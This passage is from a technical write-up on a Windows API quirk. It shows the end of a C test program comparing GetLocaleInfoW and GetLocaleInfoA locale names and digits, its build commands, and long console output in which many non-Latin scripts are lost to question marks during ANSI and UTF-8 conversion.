    							else
    								if ((uiMulti != 0)
    								 && (memcmp(szMulti, szANSI, uiANSI) != 0)
    								 || (wmemcmp(szUnicode, szWide, uiWide) != 0))
    									PrintConsole(hConsole,
    									             L"0x%08lX DIGITS\tGetLocaleInfoW = %u:\t%ls\n"
    									             L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
    									             L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
    									             L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
    									             lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
    						}
    					}
    
    					uiWide = GetLocaleInfoW(lcLocale,
    					                        LOCALE_SNATIVECTRYNAME,
    					                        szWide,
    					                        sizeof(szWide) / sizeof(*szWide));
    
    					if (uiWide == 0)
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    							             dwError, lcLocale);
    					}
    					else
    					{
    						uiANSI = GetLocaleInfoA(lcLocale,
    						                        LOCALE_SNATIVECTRYNAME,
    						                        szANSI,
    						                        sizeof(szANSI));
    
    						if (uiANSI == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    							             dwError = GetLastError(), lcLocale);
    						else
    						{
    							uiMulti = WideCharToMultiByte(CP_UTF8,
    							                              WC_ERR_INVALID_CHARS,
    							                              szWide,
    							                              uiWide,
    							                              szMulti,
    							                              sizeof(szMulti),
    							                              (LPCCH) NULL,
    							                              (LPBOOL) NULL);
    
    							if (uiMulti == 0)
    								PrintConsole(hConsole,
    								             L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    
    							uiUnicode = MultiByteToWideChar(CP_UTF8,
    							                                MB_ERR_INVALID_CHARS,
    							                                szANSI,
    							                                uiANSI,
    							                                szUnicode,
    							                                sizeof(szUnicode) / sizeof(*szUnicode));
    
    							if (uiUnicode == 0)
    								PrintConsole(hConsole,
    								             L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    							else
    								if ((uiMulti != 0)
    								 && (memcmp(szMulti, szANSI, uiANSI) != 0)
    								 || (wmemcmp(szUnicode, szWide, uiWide) != 0))
    									PrintConsole(hConsole,
    									             L"0x%08lX COUNTRY\tGetLocaleInfoW = %u:\t%ls\n"
    									             L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
    									             L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
    									             L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
    									             lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
    						}
    					}
    
    					uiWide = GetLocaleInfoW(lcLocale,
    					                        LOCALE_SNATIVELANGNAME,
    					                        szWide,
    					                        sizeof(szWide) / sizeof(*szWide));
    
    					if (uiWide == 0)
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    							             dwError, lcLocale);
    					}
    					else
    					{
    						uiANSI = GetLocaleInfoA(lcLocale,
    						                        LOCALE_SNATIVELANGNAME,
    						                        szANSI,
    						                        sizeof(szANSI));
    
    						if (uiANSI == 0)
    							PrintConsole(hConsole,
    							             L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    							             dwError = GetLastError(), lcLocale);
    						else
    						{
    							uiMulti = WideCharToMultiByte(CP_UTF8,
    							                              WC_ERR_INVALID_CHARS,
    							                              szWide,
    							                              uiWide,
    							                              szMulti,
    							                              sizeof(szMulti),
    							                              (LPCCH) NULL,
    							                              (LPBOOL) NULL);
    
    							if (uiMulti == 0)
    								PrintConsole(hConsole,
    								             L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    
    							uiUnicode = MultiByteToWideChar(CP_UTF8,
    							                                MB_ERR_INVALID_CHARS,
    							                                szANSI,
    							                                uiANSI,
    							                                szUnicode,
    							                                sizeof(szUnicode) / sizeof(*szUnicode));
    
    							if (uiUnicode == 0)
    								PrintConsole(hConsole,
    								             L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
    								             dwError = GetLastError(), lcLocale);
    							else
    								if ((uiMulti != 0)
    								 && (memcmp(szMulti, szANSI, uiANSI) != 0)
    								 || (wmemcmp(szUnicode, szWide, uiWide) != 0))
    									PrintConsole(hConsole,
    									             L"0x%08lX LANGUAGE\tGetLocaleInfoW = %u:\t%ls\n"
    									             L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
    									             L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
    									             L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
    									             lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
    						}
    					}
    				}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    Note: to avoid failures of the GetLocaleInfoA() function with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, the size of its buffers are well above the maximum number of characters specified in the documentation for LOCALE_SNATIVE* which has already been proven wrong in the previous section Quirk № 35!
  2. Build the console application quirk36.exe from the source file quirk36.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk36.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk36.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk36.c
    quirk36.c(37) : warning C4706: assignment within conditional expression
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk36.exe
    quirk36.obj
  3. Execute the console application quirk36.exe built in step 2. to demonstrate the (mis)behaviour:

    VER
    .\quirk36.exe
    Microsoft Windows [Version 6.1.7601]
    
    0x000009FF DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x000009FF COUNTRY	GetLocaleInfoW = 22:	[Ρšеϋďŏ Мīґґθřėď !!!]
    			UTF16LE » ANSI = 22:	[?????? ???????? !!!]
    			GetLocaleInfoA = 22:	[?????? ???????? !!!]
    			ANSI » UTF16LE = 22:	[?????? ???????? !!!]
    0x000009FF LANGUAGE	GetLocaleInfoW = 22:	[Рѕёůđó Ľαʼnġџåģе !!!]
    			UTF16LE » ANSI = 22:	[?????? ???????? !!!]
    			GetLocaleInfoA = 22:	[?????? ???????? !!!]
    			ANSI » UTF16LE = 22:	[?????? ???????? !!!]
    0x000005FE COUNTRY	GetLocaleInfoW = 17:	[Ρ§зŭďό Α§ΐд !!]
    			UTF16LE » ANSI = 23:	[ƒ¯˜„x??? ƒŸ˜?„t !!]
    			GetLocaleInfoA = 23:	[ƒ¯˜„x??? ƒŸ˜?„t !!]
    			ANSI » UTF16LE = 17:	[Ρ§з??? Α§?д !!]
    0x000005FE LANGUAGE	GetLocaleInfoW = 22:	[Þѕєΰδō Łªиģųāģз !!!]
    			UTF16LE » ANSI = 25:	[????ƒÂ? ??„y????„x !!!]
    			GetLocaleInfoA = 25:	[T???ƒÂ? ?a„y????„x !!!]
    			ANSI » UTF16LE = 22:	[T???δ? ?aи????з !!!]
    0x00000501 COUNTRY	GetLocaleInfoW = 11:	[Рšěüđõ !]
    			UTF16LE » ANSI = 11:	[?šìüð? !]
    			GetLocaleInfoA = 11:	[?šìüðo !]
    			ANSI » UTF16LE = 11:	[?šěüđo !]
    0x00000501 LANGUAGE	GetLocaleInfoW = 22:	[Þšēūďθ Ļдηğμåģέ !!!]
    			UTF16LE » ANSI = 22:	[?š??ï? ???????? !!!]
    			GetLocaleInfoA = 22:	[?šeuï? L??gµag? !!!]
    			ANSI » UTF16LE = 22:	[?šeuď? L??gµag? !!!]
    0x0000048C DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	0123456789
    			ANSI » UTF16LE = 11:	0123456789
    0x00000481 LANGUAGE	GetLocaleInfoW = 10:	Reo Māori
    			UTF16LE » ANSI = 10:	Reo M?ori
    			GetLocaleInfoA = 10:	Reo Maori
    			ANSI » UTF16LE = 10:	Reo Maori
    0x00000480 COUNTRY	GetLocaleInfoW = 24:	جۇڭخۇا خەلق جۇمھۇرىيىتى
    			UTF16LE » ANSI = 24:	Ì??Î?Ç Î?áÞ Ì?ãª?ÑìíìÊì
    			GetLocaleInfoA = 24:	Ì??Î?Ç Î?áÞ Ì?ãª?ÑìíìÊì
    			ANSI » UTF16LE = 24:	ج??خ?ا خ?لق ج?مھ?رىيىتى
    0x00000480 LANGUAGE	GetLocaleInfoW = 9:	ئۇيغۇرچە
    			UTF16LE » ANSI = 9:	Æ?íÛ?э?
    			GetLocaleInfoA = 9:	Æ?íÛ?э?
    			ANSI » UTF16LE = 9:	ئ?يغ?رچ?
    0x00000478 COUNTRY	GetLocaleInfoW = 8:	ꍏꉸꏓꂱꇭꉼꇩ
    			UTF16LE » ANSI = 8:	???????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x00000478 LANGUAGE	GetLocaleInfoW = 5:	ꆈꌠꁱꂷ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x0000046D LANGUAGE	GetLocaleInfoW = 8:	Башҡорт
    			UTF16LE » ANSI = 8:	Áàø?îðò
    			GetLocaleInfoA = 8:	Áàø?îðò
    			ANSI » UTF16LE = 8:	Баш?орт
    0x00000465 COUNTRY	GetLocaleInfoW = 14:	ދިވެހި ރާއްޖެ
    			UTF16LE » ANSI = 8:	??? ???
    			GetLocaleInfoA = 14:	?????? ??????
    			ANSI » UTF16LE = 14:	?????? ??????
    0x00000465 LANGUAGE	GetLocaleInfoW = 11:	ދިވެހިބަސް
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000463 DIGITS	GetLocaleInfoW = 11:	٠١٢٣٤٥٦٧٨٩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000463 COUNTRY	GetLocaleInfoW = 10:	افغانستان
    			UTF16LE » ANSI = 10:	?????????
    			GetLocaleInfoA = 10:	?????????
    			ANSI » UTF16LE = 10:	?????????
    0x00000463 LANGUAGE	GetLocaleInfoW = 5:	پښتو
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000461 DIGITS	GetLocaleInfoW = 11:	०१२३४५६७८९
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000461 COUNTRY	GetLocaleInfoW = 6:	नेपाल
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x00000461 LANGUAGE	GetLocaleInfoW = 7:	नेपाली
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x0000045E COUNTRY	GetLocaleInfoW = 6:	ኢትዮጵያ
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000045E LANGUAGE	GetLocaleInfoW = 5:	አማርኛ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x0000785D COUNTRY	GetLocaleInfoW = 4:	ᑲᓇᑕ
    			UTF16LE » ANSI = 4:	???
    			GetLocaleInfoA = 4:	???
    			ANSI » UTF16LE = 4:	???
    0x0000785D LANGUAGE	GetLocaleInfoW = 7:	ᐃᓄᒃᑎᑐᑦ
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x0000045D COUNTRY	GetLocaleInfoW = 4:	ᑲᓇᑕ
    			UTF16LE » ANSI = 4:	???
    			GetLocaleInfoA = 4:	???
    			ANSI » UTF16LE = 4:	???
    0x0000045D LANGUAGE	GetLocaleInfoW = 7:	ᐃᓄᒃᑎᑐᑦ
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x0000045B COUNTRY	GetLocaleInfoW = 11:	ශ්‍රී ලංකා
    			UTF16LE » ANSI = 9:	??? ????
    			GetLocaleInfoA = 11:	????? ????
    			ANSI » UTF16LE = 11:	????? ????
    0x0000045B LANGUAGE	GetLocaleInfoW = 5:	සිංහ
    			UTF16LE » ANSI = 4:	???
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x0000045A COUNTRY	GetLocaleInfoW = 6:	سوريا
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000045A LANGUAGE	GetLocaleInfoW = 7:	ܣܘܪܝܝܐ
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x00000457 DIGITS	GetLocaleInfoW = 11:	०१२३४५६७८९
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000457 COUNTRY	GetLocaleInfoW = 5:	भारत
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000457 LANGUAGE	GetLocaleInfoW = 7:	कोंकणी
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x00000454 DIGITS	GetLocaleInfoW = 11:	໐໑໒໓໔໕໖໗໘໙
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000454 COUNTRY	GetLocaleInfoW = 11:	ສ.ປ.ປ. ລາວ
    			UTF16LE » ANSI = 11:	?.?.?. ???
    			GetLocaleInfoA = 11:	?.?.?. ???
    			ANSI » UTF16LE = 11:	?.?.?. ???
    0x00000454 LANGUAGE	GetLocaleInfoW = 4:	ລາວ
    			UTF16LE » ANSI = 4:	???
    			GetLocaleInfoA = 4:	???
    			ANSI » UTF16LE = 4:	???
    0x00000453 DIGITS	GetLocaleInfoW = 11:	០១២៣៤៥៦៧៨៩
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000453 COUNTRY	GetLocaleInfoW = 8:	កម្ពុជា
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x00000453 LANGUAGE	GetLocaleInfoW = 6:	ខ្មែរ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x00000451 COUNTRY	GetLocaleInfoW = 35:	ཀྲུང་ཧྭ་མི་དམངས་སྤྱི་མཐུན་རྒྱལ་ཁབ།
    			UTF16LE » ANSI = 25:	????????????????????????
    			GetLocaleInfoA = 35:	??????????????????????????????????
    			ANSI » UTF16LE = 35:	??????????????????????????????????
    0x00000451 LANGUAGE	GetLocaleInfoW = 8:	བོད་ཡིག
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x00007C50 COUNTRY	GetLocaleInfoW = 36:	ᠪᠦᠭᠦᠳᠡ ᠨᠠᠢᠷᠠᠮᠳᠠᠬᠤ ᠳᠤᠮᠳᠠᠳᠤ ᠠᠷᠠᠳ ᠣᠯᠣᠰ
    			UTF16LE » ANSI = 36:	?????? ?????????? ??????? ???? ????
    			GetLocaleInfoA = 36:	?????? ?????????? ??????? ???? ????
    			ANSI » UTF16LE = 36:	?????? ?????????? ??????? ???? ????
    0x00007C50 LANGUAGE	GetLocaleInfoW = 13:	ᠮᠤᠨᠭᠭᠤᠯ ᠬᠡᠯᠡ
    			UTF16LE » ANSI = 13:	??????? ????
    			GetLocaleInfoA = 13:	??????? ????
    			ANSI » UTF16LE = 13:	??????? ????
    0x00000850 COUNTRY	GetLocaleInfoW = 36:	ᠪᠦᠭᠦᠳᠡ ᠨᠠᠢᠷᠠᠮᠳᠠᠬᠤ ᠳᠤᠮᠳᠠᠳᠤ ᠠᠷᠠᠳ ᠣᠯᠣᠰ
    			UTF16LE » ANSI = 36:	?????? ?????????? ??????? ???? ????
    			GetLocaleInfoA = 36:	?????? ?????????? ??????? ???? ????
    			ANSI » UTF16LE = 36:	?????? ?????????? ??????? ???? ????
    0x00000850 LANGUAGE	GetLocaleInfoW = 13:	ᠮᠤᠨᠭᠭᠤᠯ ᠬᠡᠯᠡ
    			UTF16LE » ANSI = 13:	??????? ????
    			GetLocaleInfoA = 13:	??????? ????
    			ANSI » UTF16LE = 13:	??????? ????
    0x0000044F DIGITS	GetLocaleInfoW = 11:	०१२३४५६७८९
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x0000044F COUNTRY	GetLocaleInfoW = 7:	भारतम्
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x0000044F LANGUAGE	GetLocaleInfoW = 8:	संस्कृत
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x0000044E DIGITS	GetLocaleInfoW = 11:	०१२३४५६७८९
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x0000044E COUNTRY	GetLocaleInfoW = 5:	भारत
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x0000044E LANGUAGE	GetLocaleInfoW = 6:	मराठी
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000044D DIGITS	GetLocaleInfoW = 11:	০১২৩৪৫৬৭৮৯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x0000044D COUNTRY	GetLocaleInfoW = 5:	ভাৰত
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x0000044D LANGUAGE	GetLocaleInfoW = 7:	অসমীয়া
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x0000044C DIGITS	GetLocaleInfoW = 11:	൦൧൨൩൪൫൬൭൮൯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x0000044C COUNTRY	GetLocaleInfoW = 6:	ഭാരതം
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000044C LANGUAGE	GetLocaleInfoW = 7:	മലയാളം
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x0000044B DIGITS	GetLocaleInfoW = 11:	೦೧೨೩೪೫೬೭೮೯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x0000044B COUNTRY	GetLocaleInfoW = 5:	ಭಾರತ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x0000044B LANGUAGE	GetLocaleInfoW = 6:	ಕನ್ನಡ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000044A DIGITS	GetLocaleInfoW = 11:	౦౧౨౩౪౫౬౭౮౯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x0000044A COUNTRY	GetLocaleInfoW = 10:	భారత దేశం
    			UTF16LE » ANSI = 8:	??? ???
    			GetLocaleInfoA = 10:	???? ????
    			ANSI » UTF16LE = 10:	???? ????
    0x0000044A LANGUAGE	GetLocaleInfoW = 7:	తెలుగు
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x00000449 DIGITS	GetLocaleInfoW = 11:	௦௧௨௩௪௫௬௭௮௯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000449 COUNTRY	GetLocaleInfoW = 8:	இந்தியா
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x00000449 LANGUAGE	GetLocaleInfoW = 6:	தமிழ்
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x00000448 DIGITS	GetLocaleInfoW = 11:	୦୧୨୩୪୫୬୭୮୯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000448 COUNTRY	GetLocaleInfoW = 5:	ଭାରତ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000448 LANGUAGE	GetLocaleInfoW = 5:	ଓଡ଼ିଆ
    			UTF16LE » ANSI = 4:	???
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000447 DIGITS	GetLocaleInfoW = 11:	૦૧૨૩૪૫૬૭૮૯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000447 COUNTRY	GetLocaleInfoW = 5:	ભારત
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000447 LANGUAGE	GetLocaleInfoW = 8:	ગુજરાતી
    			UTF16LE » ANSI = 7:	??????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x00000446 DIGITS	GetLocaleInfoW = 11:	੦੧੨੩੪੫੬੭੮੯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000446 COUNTRY	GetLocaleInfoW = 5:	ਭਾਰਤ
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000446 LANGUAGE	GetLocaleInfoW = 7:	ਪੰਜਾਬੀ
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 7:	??????
    			ANSI » UTF16LE = 7:	??????
    0x00000845 DIGITS	GetLocaleInfoW = 11:	০১২৩৪৫৬৭৮৯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000845 COUNTRY	GetLocaleInfoW = 9:	বাংলাদেশ
    			UTF16LE » ANSI = 9:	????????
    			GetLocaleInfoA = 9:	????????
    			ANSI » UTF16LE = 9:	????????
    0x00000845 LANGUAGE	GetLocaleInfoW = 6:	বাংলা
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x00000445 DIGITS	GetLocaleInfoW = 11:	০১২৩৪৫৬৭৮৯
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000445 COUNTRY	GetLocaleInfoW = 5:	ভারত
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000445 LANGUAGE	GetLocaleInfoW = 6:	বাংলা
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000043F COUNTRY	GetLocaleInfoW = 10:	Қазақстан
    			UTF16LE » ANSI = 10:	?????????
    			GetLocaleInfoA = 10:	?????????
    			ANSI » UTF16LE = 10:	?????????
    0x0000043F LANGUAGE	GetLocaleInfoW = 6:	Қазақ
    			UTF16LE » ANSI = 6:	?????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x0000743B LANGUAGE	GetLocaleInfoW = 11:	sääm´ǩiõll
    			UTF16LE » ANSI = 11:	sääm´?iõll
    			GetLocaleInfoA = 11:	sääm´kiõll
    			ANSI » UTF16LE = 11:	sääm´kiõll
    0x0000203B LANGUAGE	GetLocaleInfoW = 11:	sääm´ǩiõll
    			UTF16LE » ANSI = 11:	sääm´?iõll
    			GetLocaleInfoA = 11:	sääm´kiõll
    			ANSI » UTF16LE = 11:	sääm´kiõll
    0x0000083B COUNTRY	GetLocaleInfoW = 7:	Ruoŧŧa
    			UTF16LE » ANSI = 7:	Ruo??a
    			GetLocaleInfoA = 7:	Ruotta
    			ANSI » UTF16LE = 7:	Ruotta
    0x00000439 COUNTRY	GetLocaleInfoW = 5:	भारत
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 5:	????
    			ANSI » UTF16LE = 5:	????
    0x00000439 LANGUAGE	GetLocaleInfoW = 6:	हिंदी
    			UTF16LE » ANSI = 5:	????
    			GetLocaleInfoA = 6:	?????
    			ANSI » UTF16LE = 6:	?????
    0x00000437 COUNTRY	GetLocaleInfoW = 11:	საქართველო
    			UTF16LE » ANSI = 11:	??????????
    			GetLocaleInfoA = 11:	??????????
    			ANSI » UTF16LE = 11:	??????????
    0x00000437 LANGUAGE	GetLocaleInfoW = 8:	ქართული
    			UTF16LE » ANSI = 8:	???????
    			GetLocaleInfoA = 8:	???????
    			ANSI » UTF16LE = 8:	???????
    0x00007C2E LANGUAGE	GetLocaleInfoW = 15:	dolnoserbšćina
    			UTF16LE » ANSI = 15:	dolnoserbš?ina
    			GetLocaleInfoA = 15:	dolnoserbšcina
    			ANSI » UTF16LE = 15:	dolnoserbšcina
    0x0000082E LANGUAGE	GetLocaleInfoW = 15:	dolnoserbšćina
    			UTF16LE » ANSI = 15:	dolnoserbš?ina
    			GetLocaleInfoA = 15:	dolnoserbšcina
    			ANSI » UTF16LE = 15:	dolnoserbšcina
    0x0000042E COUNTRY	GetLocaleInfoW = 7:	Němska
    			UTF16LE » ANSI = 7:	N?mska
    			GetLocaleInfoA = 7:	Nemska
    			ANSI » UTF16LE = 7:	Nemska
    0x0000042E LANGUAGE	GetLocaleInfoW = 16:	hornjoserbšćina
    			UTF16LE » ANSI = 16:	hornjoserbš?ina
    			GetLocaleInfoA = 16:	hornjoserbšcina
    			ANSI » UTF16LE = 16:	hornjoserbšcina
    0x0000782C COUNTRY	GetLocaleInfoW = 11:	Azərbaycan
    			UTF16LE » ANSI = 11:	Az?rbaycan
    			GetLocaleInfoA = 11:	Az?rbaycan
    			ANSI » UTF16LE = 11:	Az?rbaycan
    0x0000782C LANGUAGE	GetLocaleInfoW = 15:	Azərbaycan­ılı
    			UTF16LE » ANSI = 15:	Az?rbaycan­ýlý
    			GetLocaleInfoA = 15:	Az?rbaycan­ýlý
    			ANSI » UTF16LE = 15:	Az?rbaycan­ılı
    0x0000742C COUNTRY	GetLocaleInfoW = 11:	Азәрбајҹан
    			UTF16LE » ANSI = 11:	Àç?ðáà¼?àí
    			GetLocaleInfoA = 11:	Àç?ðáà¼?àí
    			ANSI » UTF16LE = 11:	Аз?рбај?ан
    0x0000742C LANGUAGE	GetLocaleInfoW = 16:	Азәрбајҹан дили
    			UTF16LE » ANSI = 16:	Àç?ðáà¼?àí äèëè
    			GetLocaleInfoA = 16:	Àç?ðáà¼?àí äèëè
    			ANSI » UTF16LE = 16:	Аз?рбај?ан дили
    0x0000082C COUNTRY	GetLocaleInfoW = 11:	Азәрбајҹан
    			UTF16LE » ANSI = 11:	Àç?ðáà¼?àí
